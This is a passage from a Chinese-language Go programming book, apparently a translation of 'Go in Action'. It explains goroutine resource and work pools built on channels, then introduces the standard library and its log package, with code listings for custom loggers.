用来测试连接的资源池 77 func performQueries(query int, p *pool.Pool) { 78 // 从池里请求一个连接 79 conn, err := p.Acquire() 80 if err != nil { 81 log.Println(err) 82 return 83 } 84 85 // 将该连接释放回池里 86 defer p.Release(conn) 87 88 // 用等待来模拟查询响应 89 time.Sleep(time.Duration(rand.Intn(1000)) * time.Millisecond) 90 log.Printf("QID[%d] CID[%d]\n", query, conn.(*dbConnection).ID) 91 } 代码清单 7-21 展示的 main.go 中的代码使用 pool 包来管理一组模拟数据库连接的连接 池。代码一开始声明了两个常量 maxGoroutines 和 pooledResource,用来设置 goroutine 的数量以及程序将要使用资源的数量。资源的声明以及 io.Closer 接口的实现如代码清单 7-22 所示。 代码清单 7-22 pool/main/main.go:第 21 行到第 32 行 21 // dbConnection 模拟要共享的资源 22 type dbConnection struct { 23 ID int32 24 } 25 26 // Close 实现了 io.Closer 接口,以便 dbConnection 27 // 可以被池管理。Close 用来完成任意资源的 28 // 释放管理 29 func (dbConn *dbConnection) Close() error { 30 log.Println("Close: Connection", dbConn.ID) 31 return nil 32 } 代码清单 7-22 展示了 dbConnection 结构的声明以及 io.Closer 接口的实现。 dbConnection 类型模拟了管理数据库连接的结构,当前版本只包含一个字段 ID,用来保存每 个连接的唯一标识。Close 方法只是报告了连接正在被关闭,并显示出要关闭连接的标识。 接下来我们来看一下创建 dbConnection 值的工厂函数,如代码清单 7-23 所示。 代码清单 7-23 pool/main/main.go:第 34 行到第 44 行 34 // idCounter 用来给每个连接分配一个独一无二的 id 35 var idCounter int32 36 37 // createConnection 是一个工厂函数, 38 // 当需要一个新连接时,资源池会调用这个函数 39 func createConnection() (io.Closer, error) { 40 id := atomic.AddInt32(&idCounter, 1) 41 log.Println("Create: New Connection", id) 42 43 return &dbConnection{id}, nil 44 } 代码清单 7-23 展示了 createConnection 函数的实现。这个函数给连接生成了一个唯一 标识,显示连接正在被创建,并返回指向带有唯一标识的 dbConnection 类型值的指针。唯一 标识是通过 atomic.AddInt32 函数生成的。这个函数可以安全地增加包级变量 idCounter 的值。现在有了资源以及工厂函数,我们可以配合使用 pool 包了。 接下来让我们看一下 main 函数的代码,如代码清单 7-24 所示。 代码清单 7-24 pool/main/main.go:第 48 行到第 55 行 48 var wg sync.WaitGroup 49 wg.Add(maxGoroutines) 50 51 // 创建用来管理连接的池 52 p, err := pool.New(createConnection, pooledResources) 53 if err != nil { 54 log.Println(err) 55 } 在第 48 行,main 函数一开始就声明了一个 WaitGroup 值,并将 WaitGroup 的值设置为 要创建的 goroutine 的数量。之后使用 pool 包里的 New 函数创建了一个新的 Pool 类型。工厂 函数和要管理的资源的数量会传入 New 函数。这个函数会返回一个指向 Pool 值的指针,并检 查可能的错误。现在我们有了一个 Pool 类型的资源池实例,就可以创建 goroutine,并使用这个 资源池在 goroutine 之间共享资源,如代码清单 7-25 所示。 代码清单 7-25 pool/main/main.go:第 57 行到第 66 行 57 // 使用池里的连接来完成查询 58 for query := 0; query < maxGoroutines; query++ { 59 // 每个 goroutine 需要自己复制一份要 60 // 查询值的副本,不然所有的查询会共享 61 // 同一个查询变量 62 go func(q int) { 63 performQueries(q, p) 64 wg.Done() 65 }(query) 66 } 代码清单 7-25 中用一个 for 循环创建要使用池的 goroutine。每个 goroutine 调用一次 performQueries 函数然后退出。performQueries 函数需要传入一个唯一的 ID 值用于做日 志以及一个指向 Pool 的指针。一旦所有的 goroutine 都创建完成,main 函数就等待所有 goroutine 执行完毕,如代码清单 7-26 所示。 代码清单 7-26 pool/main/main.go:第 68 行到第 73 行 68 // 等待 goroutine 结束 69 wg.Wait() 70 71 // 关闭池 72 log.Println("Shutdown Program.") 73 p.Close() 在代码清单7-26 中,main 函数等待WaitGroup 实例的Wait 方法执行完成。一旦所有goroutine 都报告其执行完成,就关闭 Pool,并且终止程序。接下来,让我们看一下 performQueries 函数。 这个函数使用了池的 Acquire 方法和 Release 方法,如代码清单 7-27 所示。 代码清单 7-27 pool/main/main.go:第 76 行到第 91 行 76 // performQueries 用来测试连接的资源池 77 func performQueries(query int, p *pool.Pool) { 78 // 从池里请求一个连接 79 conn, err := p.Acquire() 80 if err != nil { 81 log.Println(err) 82 return 83 } 84 85 // 将该连接释放回池里 86 defer p.Release(conn) 87 88 // 用等待来模拟查询响应 89 time.Sleep(time.Duration(rand.Intn(1000)) * time.Millisecond) 90 log.Printf("QID[%d] CID[%d]\n", query, conn.(*dbConnection).ID) 91 } 代码清单 7-27 展示了 performQueries 的实现。这个实现使用了 pool 的 Acquire 方法 和 Release 方法。这个函数首先调用了 Acquire 方法,从池里获得 dbConnection。之后会 检查返回的 error 接口值,在第 86 行,再使用 defer 语句在函数退出时将 dbConnection 释放回池里。在第 89 行和第 90 行,随机休眠一段时间,以此来模拟使用 dbConnection 工作 时间。 7.3 work work 包的目的是展示如何使用无缓冲的通道来创建一个 goroutine 池,这些 goroutine 执行 并控制一组工作,让其并发执行。在这种情况下,使用无缓冲的通道要比随意指定一个缓冲区大 小的有缓冲的通道好,因为这个情况下既不需要一个工作队列,也不需要一组 goroutine 配合执 7.3 work 169 行。无缓冲的通道保证两个 goroutine 之间的数据交换。这种使用无缓冲的通道的方法允许使用 者知道什么时候 goroutine 池正在执行工作,而且如果池里的所有 goroutine 都忙,无法接受新的 工作的时候,也能及时通过通道来通知调用者。使用无缓冲的通道不会有工作在队列里丢失或者 卡住,所有工作都会被处理。 让我们来看一下 work 包里的 work.go 代码文件,如代码清单 7-28 所示。 代码清单 7-28 work/work.go 01 // Jason Waldrip 协助完成了这个示例 02 // work 包管理一个 goroutine 池来完成工作 03 package work 04 05 import "sync" 06 07 // Worker 必须满足接口类型, 08 // 才能使用工作池 09 type Worker interface { 10 Task() 11 } 12 13 // Pool 提供一个 goroutine 池,这个池可以完成 14 // 任何已提交的 Worker 任务 15 type Pool struct { 16 work chan Worker 17 wg sync.WaitGroup 18 } 19 20 // New 创建一个新工作池 21 func New(maxGoroutines int) *Pool { 22 p := Pool{ 23 work: make(chan Worker), 24 } 25 26 p.wg.Add(maxGoroutines) 27 for i := 0; i < maxGoroutines; i++ { 28 go func() { 29 for w := range p.work { 30 w.Task() 31 } 32 p.wg.Done() 33 }() 34 } 35 36 return &p 37 } 38 39 // Run 提交工作到工作池 40 func (p *Pool) Run(w Worker) { 41 p.work <- w 42 } 43 170 第 7 章 并发模式 44 // Shutdown 等待所有 goroutine 停止工作 45 func (p *Pool) Shutdown() { 46 close(p.work) 47 p.wg.Wait() 48 } 代码清单 7-28 中展示的 work 包一开始声明了名为 Worker 的接口和名为 Pool 的结构, 如代码清单 7-29 所示。 代码清单 7-29 work/work.go:第 07 行到第 18 行 07 // Worker 必须满足接口类型, 08 // 才能使用工作池 09 type Worker interface { 10 Task() 11 } 12 13 // Pool 提供一个 goroutine 池,这个池可以完成 14 // 任何已提交的 Worker 任务 15 type Pool struct { 16 work chan Worker 17 wg sync.WaitGroup 18 } 代码清单 7-29 的第 09 行中的 Worker 接口声明了一个名为 Task 的方法。在第 15 行,声 明了名为 Pool 的结构,这个结构类型实现了 goroutine 池,并实现了一些处理工作的方法。这 个结构类型声明了两个字段,一个名为 work(一个 Worker 接口类型的通道),另一个名为 wg 的 sync.WaitGroup 类型。 接下来,让我们来看一下 work 包的工厂函数,如代码清单 7-30 所示。 代码清单 7-30 work/work.go:第 20 行到第 37 行 20 // New 创建一个新工作池 21 func New(maxGoroutines int) *Pool { 22 p := Pool{ 23 work: make(chan Worker), 24 } 25 26 p.wg.Add(maxGoroutines) 27 for i := 0; i < maxGoroutines; i++ { 28 go func() { 29 for w := range p.work { 30 w.Task() 31 } 32 p.wg.Done() 33 }() 34 } 35 36 return &p 37 } 代码清单 7-30 展示了 New 函数,这个函数使用固定数量的 goroutine 来创建一个工作池。 goroutine 的数量作为参数传给 New 函数。在第 22 行,创建了一个 Pool 类型的值,并使用无缓 冲的通道来初始化 work 字段。 之后,在第 26 行,初始化 WaitGroup 需要等待的数量,并在第 27 行到第 34 行,创建了 同样数量的 goroutine。这些 goroutine 只接收 Worker 类型的接口值,并调用这个值的 Task 方 法,如代码清单 7-31 所示。 代码清单 7-31 work/work.go:第 28 行到第 33 行 28 go func() { 29 for w := range p.work { 30 w.Task() 31 } 32 p.wg.Done() 33 }() 代码清单 7-31 里的 for range 循环会一直阻塞,直到从 work 通道收到一个 Worker 接 口值。如果收到一个值,就会执行这个值的 Task 方法。一旦 work 通道被关闭,for range 循环就会结束,并调用 WaitGroup 的 Done 方法。然后 goroutine 终止。 现在我们可以创建一个等待并执行工作的 goroutine 池了。让我们看一下如何向池里提交工 作,如代码清单 7-32 所示。 代码清单 7-32 work/work.go:第 39 行到第 42 行 39 // Run 提交工作到工作池 40 func (p *Pool) Run(w Worker) { 41 p.work <- w 42 } 代码清单 7-32 展示了 Run 方法。这个方法可以向池里提交工作。该方法接受一个 Worker 类型的接口值作为参数,并将这个值通过 work 通道发送。由于 work 通道是一个无缓冲的通道, 调用者必须等待工作池里的某个 goroutine 接收到这个值才会返回。这正是我们想要的,这样可 以保证调用的 Run 返回时,提交的工作已经开始执行。 在某个时间点,需要关闭工作池。这是 Shutdown 方法所做的事情,如代码清单 7-33 所示。 代码清单 7-33 work/work.go:第 44 行到第 48 行 44 // Shutdown 等待所有 goroutine 停止工作 45 func (p *Pool) Shutdown() { 46 close(p.work) 47 p.wg.Wait() 48 } 代码清单 7-33 中的 Shutdown 方法做了两件事,首先,它关闭了 work 通道,这会导致所 有池里的 goroutine 停止工作,并调用 WaitGroup 的 Done 方法;然后,Shutdown 方法调用 WaitGroup 的 Wait 方法,这会让 Shutdown 方法等待所有 goroutine 终止。 我们看了 work 包的代码,并了解了它是如何工作的,接下来让我们看一下 main.go 源代码 文件中的测试程序,如代码清单 7-34 所示。 代码清单 7-34 work/main/main.go 01 // 这个示例程序展示如何使用 work 包 02 // 创建一个 goroutine 池并完成工作 03 package main 04 05 import ( 06 "log" 07 "sync" 08 "time" 09 10 "github.com/goinaction/code/chapter7/patterns/work" 11 ) 12 13 // names 提供了一组用来显示的名字 14 var names = []string{ 15 "steve", 16 "bob", 17 "mary", 18 "therese", 19 "jason", 20 } 21 22 // namePrinter 使用特定方式打印名字 23 type namePrinter struct { 24 name string 25 } 26 27 // Task 实现 Worker 接口 28 func (m *namePrinter) Task() { 29 log.Println(m.name) 30 time.Sleep(time.Second) 31 } 32 33 // main 是所有 Go 程序的入口 34 func main() { 35 // 使用两个 goroutine 来创建工作池 36 p := work.New(2) 37 38 var wg sync.WaitGroup 39 wg.Add(100 * len(names)) 40 41 for i := 0; i < 100; i++ { 42 // 迭代 names 切片 43 for _, name := range names { 44 // 创建一个 namePrinter 并提供 45 // 指定的名字 46 np := namePrinter{ 47 name: name, 48 } 49 50 go func() { 51 // 将任务提交执行。当 Run 返回时 52 // 我们就知道任务已经处理完成 53 p.Run(&np) 54 wg.Done() 55 }() 56 } 57 } 58 59 wg.Wait() 60 61 // 让工作池停止工作,等待所有现有的 62 // 工作完成 63 p.Shutdown() 64 } 代码清单 7-34 展示了使用 work 包来完成名字显示工作的测试程序。这段代码一开始在第 14 行声明了名为 names 的包级的变量,这个变量被声明为一个字符串切片。这个切片使用 5 个 名字进行了初始化。然后声明了名为 namePrinter 的类型,如代码清单 7-35 所示。 代码清单 7-35 work/main/main.go:第 22 行到第 31 行 22 // namePrinter 使用特定方式打印名字 23 type namePrinter struct { 24 name string 25 } 26 27 // Task 实现 Worker 接口 28 func (m *namePrinter) Task() { 29 log.Println(m.name) 30 time.Sleep(time.Second) 31 } 在代码清单 7-35 的第 23 行,声明了 namePrinter 类型,接着是这个类型对 Worker 接口 的实现。这个类型的工作任务是在显示器上显示名字。这个类型只包含一个字段,即 name,它 包含要显示的名字。Worker 接口的实现 Task 函数用 log.Println 函数来显示名字,之后等 待 1 秒再退出。等待这 1 秒只是为了让测试程序运行的速度慢一些,以便看到并发的效果。 有了 Worker 接口的实现,我们就可以看一下 main 函数内部的代码了,如代码清单 7-36 所示。 代码清单 7-36 work/main/main.go:第 33 行到第 64 行 33 // main 是所有 Go 程序的入口 34 func main() { 35 // 使用两个 goroutine 来创建工作池 36 p := work.New(2) 37 38 var wg sync.WaitGroup 39 wg.Add(100 * len(names)) 40 41 for i := 0; i < 100; i++ { 42 // 迭代 names 切片 43 for _, name := range names { 44 // 创建一个 namePrinter 并提供 45 // 指定的名字 46 np := namePrinter{ 47 name: name, 48 } 49 50 go func() { 51 // 将任务提交执行。当 Run 返回时 52 // 我们就知道任务已经处理完成 53 p.Run(&np) 54 wg.Done() 55 }() 56 } 57 } 58 59 wg.Wait() 60 61 // 让工作池停止工作,等待所有现有的 62 // 工作完成 63 p.Shutdown() 64 } 在代码清单 7-36 第 36 行,调用 work 包里的 New 函数创建一个工作池。这个调用传入的参 数是 2,表示这个工作池只会包含两个执行任务的 goroutine。在第 38 行和第 39 行,声明了一个 WaitGroup,并初始化为要执行任务的 goroutine 数。在这个例子里,names 切片里的每个名字 都会创建 100 个 goroutine 来提交任务。这样就会有一堆 goroutine 互相竞争,将任务提交到池里。 在第 41 行到第 43 行,内部和外部的 for 循环用来声明并创建所有的 goroutine。每次内部 循环都会创建一个 namePrinter 类型的值,并提供一个用来打印的名字。之后,在第 50 行, 声明了一个匿名函数,并创建一个 goroutine 执行这个函数。这个 goroutine 会调用工作池的 Run 方法,将 namePrinter 的值提交到池里。一旦工作池里的 goroutine 接收到这个值,Run 方法 就会返回。这也会导致 goroutine 将 WaitGroup 的计数递减,并终止 goroutine。 一旦所有的 goroutine 都创建完成,main 函数就会调用 WaitGroup 的 Wait 方法。这个调 用会等待所有创建的 goroutine 提交它们的工作。一旦 Wait 返回,就会调用工作池的 Shutdown 方法来关闭工作池。Shutdown 方法直到所有的工作都做完才会返回。在这个例子里,最多只会 等待两个工作的完成。 7.4 小结 可以使用通道来控制程序的生命周期。 带 default 分支的 select 语句可以用来尝试向通道发送或者接收数据,而不会阻塞。 有缓冲的通道可以用来管理一组可复用的资源。 语言运行时会处理好通道的协作和同步。 使用无缓冲的通道来创建完成工作的 goroutine 池。 任何时间都可以用无缓冲的通道来让两个 goroutine 交换数据,在通道操作完成时一定保 证对方接收到了数据。 第 8 章 标准库 本章主要内容  输出数据以及记录日志  对 JSON 进行编码和解码  处理输入/输出,并以流的方式处理数据  让标准库里多个包协同工作 什么是 Go 标准库?为什么这个库这么重要?Go 标准库是一组核心包,用来扩展和增强语 言的能力。这些包为语言增加了大量不同的类型。开发人员可以直接使用这些类型,而不用再写 自己的包或者去下载其他人发布的第三方包。由于这些包和语言绑在一起发布,它们会得到以下 特殊的保证: 每次语言更新,哪怕是小更新,都会带有标准库; 这些标准库会严格遵守向后兼容的承诺; 标准库是 Go 语言开发、构建、发布过程的一部分; 标准库由 Go 的构建者们维护和评审; 每次 Go 语言发布新版本时,标准库都会被测试,并评估性能。 这些保证让标准库变得很特殊,开发人员应该尽量利用这些标准库。使用标准库里的包可以 使管理代码变得更容易,并且保证代码的稳定。不用担心程序无法兼容不同的 Go 语言版本,也 不用管理第三方依赖。 如果标准库包含的包不够好用,那么这些好处实际上没什么用。Go 语言社区的开发者会比 其他语言的开发者更依赖这些标准库里的包的原因是,标准库本身是经过良好设计的,并且比其 他语言的标准库提供了更多的功能。社区里的 Go 开发者会依赖这些标准库里的包做更多其他语 言中开发者无法做的事情,例如,网络、HTTP、图像处理、加密等。 本章中我们会大致了解标准库的一部分包。之后,我们会更详细地探讨 3 个非常有用的包: log、json 和 io。这些包也展示了 Go 语言提供的重要且有用的机制。 8 第 8 章 标准库 8.1 文档与源代码 标准库里包含众多的包,不可能在一章内把这些包都讲一遍。目前,标准库里总共有超过 100 个包,这些包被分到 38 个类别里,如代码清单 8-1 所示。 代码清单 8-1 标准库里的顶级目录和包 archive bufio bytes compress container crypto database debug encoding errors expvar flag fmt go hash html image index io log math mime net os path reflect regexp runtime sort strconv strings sync syscall testing text time unicode unsafe 代码清单 8-1 里列出的许多分类本身就是一个包。如果想了解所有包以及更详细的描述,Go 语言团队在网站上维护了一个文档,参见 http://golang.org/pkg/。 golang 网站的 pkg 页面提供了每个包的 godoc 文档。图 8-1 展示了 golang 网站上 io 包的文档。 图 8-1 golang.org/pkg/io/#Writer 如果想以交互的方式浏览文档,Sourcegraph 索引了所有标准库的代码,以及大部分包含 Go 代码的公开库。图 8-2 是 Sourcegraph 网站的一个例子,展示的是 io 包的文档。 图 8-2 sourcegraph.com/code.google.com/p/go/.GoPackage/io/.def/Writer 不管用什么方式安装 Go,标准库的源代码都会安装在$GOROOT/src/pkg 文件夹中。拥有标 准库的源代码对 Go 工具正常工作非常重要。类似 godoc、gocode 甚至 go build 这些工具, 都需要读取标准库的源代码才能完成其工作。如果源代码没有安装在以上文件夹中,或者无法通 过$GOROOT 变量访问,在试图编译程序时会产生错误。 作为 Go 发布包的一部分,标准库的源代码是经过预编译的。这些预编译后的文件,称作归 档文件(archive file),可以 在$GOROOT/pkg 文件夹中找到已经安装的各目标平台和操作系统的 归档文件。在图 8-3 里,可以看到扩展名是.a 的文件,这些就是归档文件。 图 8-3 pkg 文件夹中的归档文件的文件夹的视图 这些文件是特殊的 Go 静态库文件,由 Go 的构建工具创建,并在编译和链接最终程序时被 使用。归档文件可以让构建的速度更快。但是在构建的过程中,没办法指定这些文件,所以没办 法与别人共享这些文件。Go 工具链知道什么时候可以使用已有的.a 文件,什么时候需要从机器 上的源代码重新构建。 有了这些背景知识,让我们看一下标准库里的几个包,看看如何用这些包来构建自己的程序。 8.2 记录日志 即便没有表现出来,你的程序依旧可能有 bug。这在软件开发里是很自然的事情。日志是一 种找到这些 bug,更好地了解程序工作状态的方法。日志是开发人员的眼睛和耳朵,可以用来跟 踪、调试和分析代码。基于此,标准库提供了 log 包,可以对日志做一些最基本的配置。根据 特殊需要,开发人员还可以自己定制日志记录器。 在 UNIX 里,日志有很长的历史。这些积累下来的经验都体现在 log 包的设计里。传统的 CLI(命令行界面)程序直接将输出写到名为 stdout 的设备上。所有的操作系统上都有这种设 备,这种设备的默认目的地是标准文本输出。默认设置下,终端会显示这些写到 stdout 设备上 的文本。这种单个目的地的输出用起来很方便,不过你总会碰到需要同时输出程序信息和输出执 行细节的情况。这些执行细节被称作日志。当想要记录日志时,你希望能写到不同的目的地,这 样就不会将程序的输出和日志混在一起了。 为了解决这个问题,UNIX 架构上增加了一个叫作 stderr 的设备。这个设备被创建为日志 的默认目的地。这样开发人员就能将程序的输出和日志分离开来。如果想在程序运行时同时看到 程序输出和日志,可以将终端配置为同时显示写到 stdout 和 stderr 的信息。不过,如果用 户的程序只记录日志,没有程序输出,更常用的方式是将一般的日志信息写到 stdout,将错误 或者警告信息写到 stderr。 8.2.1 log 包 让我们从 log 包提供的最基本的功能开始,之后再学习如何创建定制的日志记录器。记录 日志的目的是跟踪程序什么时候在什么位置做了什么。这就需要通过某些配置在每个日志项上要 写的一些信息,如代码清单 8-2 所示。 代码清单 8-2 跟踪日志的样例 TRACE: 2009/11/10 23:00:00.000000 /tmpfs/gosandbox-/prog.go:14: message 在代码清单 8-2 中,可以看到一个由 log 包产生的日志项。这个日志项包含前缀、日期时间 戳、该日志具体是由哪个源文件记录的、源文件记录日志所在行,最后是日志消息。让我们看一 下如何配置 log 包来输出这样的日志项,如代码清单 8-3 所示。 代码清单 8-3 listing03.go 01 // 这个示例程序展示如何使用最基本的 log 包 02 package main 03 04 import ( 05 "log" 06 ) 07 08 func init() { 09 log.SetPrefix("TRACE: ") 10 log.SetFlags(log.Ldate | log.Lmicroseconds | log.Llongfile) 11 } 12 13 func main() { 14 // Println 写到标准日志记录器 15 log.Println("message") 16 17 // Fatalln 在调用 Println()之后会接着调用 os.Exit(1) 18 log.Fatalln("fatal message") 19 20 // Panicln 在调用 Println()之后会接着调用 panic() 21 log.Panicln("panic message") 22 } 如果执行代码清单 8-3 中的程序,输出的结果会和代码清单 8-2 所示的输出类似。让我们分 析一下代码清单 8-4 中的代码,看看它是如何工作的。 代码清单 8-4 listing03.go:第 08 行到第 11 行 08 func init() { 09 log.SetPrefix("TRACE: ") 10 log.SetFlags(log.Ldate | log.Lmicroseconds | log.Llongfile) 11 } 在第 08 行到第 11 行,定义的函数名为 init()。这个函数会在运行 main()之前作为程序 初始化的一部分执行。通常程序会在这个 init()函数里配置日志参数,这样程序一开始就能使 用 log 包进行正确的输出。在这段程序的第 9 行,设置了一个字符串,作为每个日志项的前缀。 这个字符串应该是能让用户从一般的程序输出中分辨出日志的字符串。传统上这个字符串的字 符会全部大写。 有几个和 log 包相关联的标志,这些标志用来控制可以写到每个日志项的其他信息。代码 清单 8-5 展示了目前包含的所有标志。 代码清单 8-5 golang.org/src/log/log.go const ( // 将下面的位使用或运算符连接在一起,可以控制要输出的信息。没有 // 办法控制这些信息出现的顺序(下面会给出顺序)或者打印的格式 // (格式在注释里描述)。这些项后面会有一个冒号: // 2009/01/23 01:23:23.123123 /a/b/c/d.go:23: message // 日期: 2009/01/23 Ldate = 1 << iota // 时间: 01:23:23 Ltime // 毫秒级时间: 01:23:23.123123。该设置会覆盖 Ltime 标志 Lmicroseconds // 完整路径的文件名和行号: /a/b/c/d.go:23 Llongfile // 最终的文件名元素和行号: d.go:23 // 覆盖 Llongfile Lshortfile // 标准日志记录器的初始值 LstdFlags = Ldate | Ltime ) 代码清单 8-5 是从 log 包里直接摘抄的源代码。这些标志被声明为常量,这个代码块中的第 一个常量叫作 Ldate,使用了特殊的语法来声明,如代码清单 8-6 所示。 代码清单 8-6 声明 Ldate 常量 // 日期: 2009/01/23 Ldate = 1 << iota 关键字 iota 在常量声明区里有特殊的作用。这个关键字让编译器为每个常量复制相同的表 达式,直到声明区结束,或者遇到一个新的赋值语句。关键字 iota 的另一个功能是,iota 的 初始值为 0,之后 iota 的值在每次处理为常量后,都会自增 1。让我们更仔细地看一下这个关 键字,如代码清单 8-7 所示。 代码清单 8-7 使用关键字 iota const ( Ldate = 1 << iota // 1 << 0 = 000000001 = 1 Ltime // 1 << 1 = 000000010 = 2 Lmicroseconds // 1 << 2 = 000000100 = 4 Llongfile // 1 << 3 = 000001000 = 8 Lshortfile // 1 << 4 = 000010000 = 16 ... ) 代码清单 8-7 展示了常量声明背后的处理方法。操作符<<对左边的操作数执行按位左移操 作。在每个常量声明时,都将 1 按位左移 iota 个位置。最终的效果使为每个常量赋予一个独立 位置的位,这正好是标志希望的工作方式。 常量 LstdFlags 展示了如何使用这些标志,如代码清单 8-8 所示。 代码清单 8-8 声明 LstdFlags 常量 const ( ... LstdFlags = Ldate(1) | Ltime(2) = 00000011 = 3 ) 在代码清单 8-8 中看到,因为使用了复制操作符,LstdFlags 打破了 iota 常数链。由于 有|运算符用于执行或操作,常量 LstdFlags 被赋值为 3。对位进行或操作等同于将每个位置 的位组合在一起,作为最终的值。如果对位 1 和 2 进行或操作,最终的结果就是 3。 让我们看一下我们要如何设置日志标志,如代码清单 8-9 所示。 代码清单 8-9 listing03.go:第 08 行到第 11 行 08 func init() { 09 ... 10 log.SetFlags(log.Ldate | log.Lmicroseconds | log.Llongfile) 11 } 这里我们将 Ldate、Lmicroseconds 和 Llongfile 标志组合在一起,将该操作的值传入 SetFlags 函数。这些标志值组合在一起后,最终的值是 13,代表第 1、3 和 4 位为 1(00001101)。 由于每个常量表示单独一个位,这些标志经过或操作组合后的值,可以表示每个需要的日志参数。 之后 log 包会按位检查这个传入的整数值,按照需求设置日志项记录的信息。 初始完 log 包后,可以看一下 main()函数,看它是是如何写消息的,如代码清单 8-10 所示。 代码清单 8-10 listing03.go:第 13 行到第 22 行 13 func main() { 14 // Println 写到标准日志记录器 15 log.Println("message") 16 17 // Fatalln 在调用 Println()之后会接着调用 os.Exit(1) 18 log.Fatalln("fatal message") 19 20 // Panicln 在调用 Println()之后会接着调用 panic() 21 log.Panicln("panic message") 22 } 代码清单 8-10 展示了如何使用 3 个函数 Println、Fatalln 和 Panicln 来写日志消息。 这些函数也有可以格式化消息的版本,只需要用 f 替换结尾的 ln。Fatal 系列函数用来写日志 消息,然后使用 os.Exit(1)终止程序。Panic 系列函数用来写日志消息,然后触发一个 panic。 除非程序执行 recover 函数,否则会导致程序打印调用栈后终止。Print 系列函数是写日志消 息的标准方法。 log 包有一个很方便的地方就是,这些日志记录器是多 goroutine 安全的。这意味着在多个 goroutine 可以同时调用来自同一个日志记录器的这些函数,而不 会有彼此间的写冲突。标准日志 记录器具有这一性质,用户定制的日志记录器也应该满足这一性质。 现在知道了如何使用和配置 log 包,让我们看一下如何创建一个定制的日志记录器,以便 可以让不同等级的日志写到不同的目的地。 8.2.2 定制的日志记录器 要想创建一个定制的日志记录器,需要创建一个 Logger 类型值。可以给每个日志记录器配 置一个单独的目的地,并独立设置其前缀和标志。让我们来看一个示例程序,这个示例程序展示 了如何创建不同的 Logger 类型的指针变量来支持不同的日志等级,如代码清单 8-11 所示。 代码清单 8-11 listing11.go 01 // 这个示例程序展示如何创建定制的日志记录器 02 package main 03 04 import ( 05 "io" 06 "io/ioutil" 07 "log" 08 "os" 09 ) 10 11 var ( 12 Trace *log.Logger // 记录所有日志 13 Info *log.Logger // 重要的信息 14 Warning *log.Logger // 需要注意的信息 15 Error *log.Logger // 非常严重的问题 16 ) 17 18 func init() { 19 file, err := os.OpenFile("errors.txt", 20 os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) 21 if err != nil { 22 log.Fatalln("Failed to open error log file:", err) 23 } 24 25 Trace = log.New(ioutil.Discard, 26 "TRACE: ", 27 log.Ldate|log.Ltime|log.Lshortfile) 28 29 Info = log.New(os.Stdout, 30 "INFO: ", 31 log.Ldate|log.Ltime|log.Lshortfile) 32 33 Warning = log.New(os.Stdout, 34 "WARNING: ", 35 log.Ldate|log.Ltime|log.Lshortfile) 36 37 Error = log.New(io.MultiWriter(file, os.Stderr), 38 "ERROR: ", 39 log.Ldate|log.Ltime|log.Lshortfile) 40 } 41 42 func main() { 43 Trace.Println("I have something standard to say") 44 Info.Println("Special Information") 45 Warning.Println("There is something you need to know about") 46 Error.Println("Something has failed") 47 } 代码清单 8-11 展示了一段完整的程序,这段程序创建了 4 种不同的 Logger 类型的指针变 量,分别命名为 Trace、Info、Warning 和 Error。每个变量使用不同的配置,用来表示不 同的重要程度。让我们来分析一下这段代码是如何工作的。 在第 11 行到第 16 行,我们为 4 个日志等级声明了 4 个 Logger 类型的指针变量,如代码清 单 8-12 所示。 代码清单 8-12 listing11.go:第 11 行到第 16 行 11 var ( 12 Trace *log.Logger // 记录所有日志 13 Info *log.Logger // 重要的信息 14 Warning *log.Logger // 需要注意的信息 15 Error *log.Logger // 非常严重的问题 16 ) 在代码清单 8-12 中可以看到对 Logger 类型的指针变量的声明。我们使用的变量名很简短, 但是含义明确。接下来,让我们看一下 init()函数的代码是如何创建每个 Logger 类型的值并 将其地址赋给每个变量的,如代码清单 8-13 所示。 代码清单 8-13 listing11.go:第 25 行到第 39 行 25 Trace = log.New(ioutil.Discard, 26 "TRACE: ", 27 log.Ldate|log.Ltime|log.Lshortfile) 28 29 Info = log.New(os.Stdout, 30 "INFO: ", 31 log.Ldate|log.Ltime|log.Lshortfile) 32 33 Warning = log.New(os.Stdout, 34 "WARNING: ", 35 log.Ldate|log.Ltime|log.Lshortfile) 36 37 Error = log.New(io.MultiWriter(file, os.Stderr), 38 "ERROR: ", 39 log.Ldate|log.Ltime|log.Lshortfile) 为了创建每个日志记录器,我们使用了 log 包的 New 函数,它创建并正确初始化一个 Logger 类型的值。函数 New 会返回新创建的值的地址。在 New 函数创建对应值的时候,我们 需要给它传入一些参数,如代码清单 8-14 所示。 代码清单 8-14 golang.org/src/log/log.go // New 创建一个新的 Logger。out 参数设置日志数据将被写入的目的地 // 参数 prefix 会在生成的每行日志的最开始出现 // 参数 flag 定义日志记录包含哪些属性 func New(out io.Writer, prefix string, flag int) *Logger { return &Logger{out: out, prefix: prefix, flag: flag} } 代码清单 8-14 展示了来自 log 包的源代码里的 New 函数的声明。第一个参数 out 指定了 日志要写到的目的地。这个参数传入的值必须实现了 io.Writer 接口。第二个参数 prefix 是 之前看到的前缀,而日志的标志则是最后一个参数。 在这个程序里,Trace 日志记录器使用了 ioutil 包里的 Discard 变量作为写到的目的地, 如代码清单 8-15 所示。 代码清单 8-15 listing11.go:第 25 行到第 27 行 25 Trace = log.New(ioutil.Discard, 26 "TRACE: ", 27 log.Ldate|log.Ltime|log.Lshortfile) 变量 Discard 有一些有意思的属性,如代码清单 8-16 所示。 代码清单 8-16 golang.org/src/io/ioutil/ioutil.go // devNull 是一个用 int 作为基础类型的类型 type devNull int // Discard 是一个 io.Writer,所有的 Write 调用都不会有动作,但是会成功返回 var Discard io.Writer = devNull(0) // io.Writer 接口的实现 func (devNull) Write(p []byte) (int, error) { return len(p), nil } 代码清单 8-16 展示了 Discard 变量的声明以及相关的实现。Discard 变量的类型被声明 为 io.Writer 接口类型,并被给定了一个 devNull 类型的值 0。基于 devNull 类型实现的 Write 方法,会忽略所有写入这一变量的数据。当某个等级的日志不重要时,使用 Discard 变 量可以禁用这个等级的日志。 日志记录器 Info 和 Warning 都使用 stdout 作为日志输出,如代码清单 8-17 所示。 代码清单 8-17 listing11.go:第 29 行到第 35 行 29 Info = log.New(os.Stdout, 30 "INFO: ", 31 log.Ldate|log.Ltime|log.Lshortfile) 32 33 Warning = log.New(os.Stdout, 34 "WARNING: ", 35 log.Ldate|log.Ltime|log.Lshortfile) 变量 Stdout 的声明也有一些有意思的地方,如代码清单 8-18 所示。 代码清单 8-18 golang.org/src/os/file.go // Stdin、Stdout 和 Stderr 是已经打开的文件,分别指向标准输入、标准输出和 // 标准错误的文件描述符 var ( Stdin = NewFile(uintptr(syscall.Stdin), "/dev/stdin") Stdout = 